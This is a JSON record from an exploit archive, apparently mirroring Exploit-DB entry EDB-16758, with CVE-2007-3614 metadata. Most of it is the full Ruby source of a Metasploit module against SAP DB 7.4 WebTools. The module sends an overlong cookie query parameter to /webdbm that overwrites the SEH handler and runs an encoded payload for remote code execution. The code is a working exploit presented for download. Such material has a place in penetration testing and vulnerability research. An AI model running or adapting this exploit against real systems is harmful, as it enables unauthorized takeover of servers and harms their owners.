{"exploit":{"id":"EDB-16758","name":"SAP DB 7.4 - WebTools Buffer Overflow (Metasploit)","description":"SAP DB 7.4 - WebTools Buffer Overflow (Metasploit)","cves":["CVE-2007-3614"],"author":"Metasploit","published":"2010-07-16","platform":"windows","type":"remote","language":"Ruby","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/16758","path":"exploits/windows/remote/16758.rb","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-16758.rb","vulnerabilities":[{"id":"CVE-2007-3614","state":"PUBLISHED","title":null,"titleSource":null,"description":"Multiple stack-based buffer overflows in waHTTP.exe (aka the SAP DB Web Server) in SAP DB, possibly 7.3 through 7.5, allow remote attackers to execute arbitrary code via (1) a certain cookie value; (2) a certain additional parameter, related to sapdbwa_GetQueryString; and other unspecified vectors related to \"numerous other fields.\"","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2007-3614","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2007-3614"},"updatedAt":"2024-08-07T14:21:36.481Z","retrievedAt":"2026-11-27T15:07:06.250Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-16758.png?v=2","url":"https://exploitbin.com/exploits/EDB-16758","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-16758/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-16758/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"##\n# $Id: sapdb_webtools.rb 9842 2010-07-16 02:33:25Z jduck $\n##\n\n##\n# This file is part of the Metasploit Framework and may be subject to\n# redistribution and commercial restrictions. Please see the Metasploit\n# Framework web site for more information on licensing and terms of use.\n# http://metasploit.com/framework/\n##\n\nrequire 'msf/core'\n\nclass Metasploit3 < Msf::Exploit::Remote\n\tRank = GreatRanking\n\n\tHttpFingerprint = { :pattern => [ /SAP-Internet-SapDb-Server\\// ] }\n\n\tinclude Msf::Exploit::Remote::HttpClient\n\tinclude Msf::Exploit::Remote::Seh\n\n\tdef initialize(info = {})\n\t\tsuper(update_info(info,\n\t\t\t'Name'           => 'SAP DB 7.4 WebTools Buffer Overflow',\n\t\t\t'Description'    => %q{\n\t\t\t\t\tThis module exploits a stack buffer overflow in SAP DB 7.4 WebTools.\n\t\t\t\tBy sending an overly long GET request, it may be possible for\n\t\t\t\tan attacker to execute arbitrary code.\n\t\t\t},\n\t\t\t'Author'         => [ 'MC' ],\n\t\t\t'License'        => MSF_LICENSE,\n\t\t\t'Version'        => '$Revision: 9842 $',\n\t\t\t'References'     =>\n\t\t\t\t[\n\t\t\t\t\t[ 'CVE', '2007-3614' ],\n\t\t\t\t\t[ 'OSVDB', '37838' ],\n\t\t\t\t\t[ 'BID', '24773' ],\n\t\t\t\t],\n\t\t\t'Privileged'     => true,\n\t\t\t'DefaultOptions' =>\n\t\t\t\t{\n\t\t\t\t\t'EXITFUNC' => 'thread',\n\t\t\t\t},\n\t\t\t'Payload'        =>\n\t\t\t\t{\n\t\t\t\t\t'Space'    => 850,\n\t\t\t\t\t'BadChars' => \"\\x00\",\n\t\t\t\t\t'PrependEncoder' => \"\\xeb\\x03\\x59\\xeb\\x05\\xe8\\xf8\\xff\\xff\\xff\",\n\t\t\t\t\t'EncoderType'    => Msf::Encoder::Type::AlphanumUpper,\n\t\t\t\t\t'EncoderOptions' =>\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t'BufferRegister' => 'ECX',\n\t\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t'Platform'       => 'win',\n\t\t\t'Targets'        =>\n\t\t\t\t[\n\t\t\t\t\t[ 'SAP DB 7.4 WebTools', { 'Ret' => 0x1003c95a } ], # wapi.dll 7.4.3.0\n\t\t\t\t],\n\t\t\t'DisclosureDate' => 'Jul 5 2007',\n\t\t\t'DefaultTarget'  => 0))\n\n\t\tregister_options( [ Opt::RPORT(9999) ], self.class )\n\tend\n\n\tdef exploit\n\n\t\tfiller = rand_text_alphanumeric(20774)\n\t\tseh = generate_seh_payload(target.ret)\n\n\t\tsploit = filler + seh + rand_text_alphanumeric(3000)\n\n\t\tprint_status(\"Trying to exploit target #{target.name} 0x%.8x\" % target.ret)\n\n\t\tres = send_request_raw(\n\t\t\t{\n\t\t\t\t'uri'   => '/webdbm',\n\t\t\t\t'query' => 'Event=DBM_INTERN_TEST&Action=REFRESH&HTTP_COOKIE=' + sploit\n\t\t\t}, 5)\n\n\t\thandler\n\n\tend\n\nend","sha256":"6f2930a1f3d5e63e32de0a32ec54e1f6864e56aab64157e3db0b937cce7f67bc","bytes":2164,"fetchedAt":"2026-11-27T15:07:02.978Z","encoding":"utf-8 (display only; download retains original bytes)"}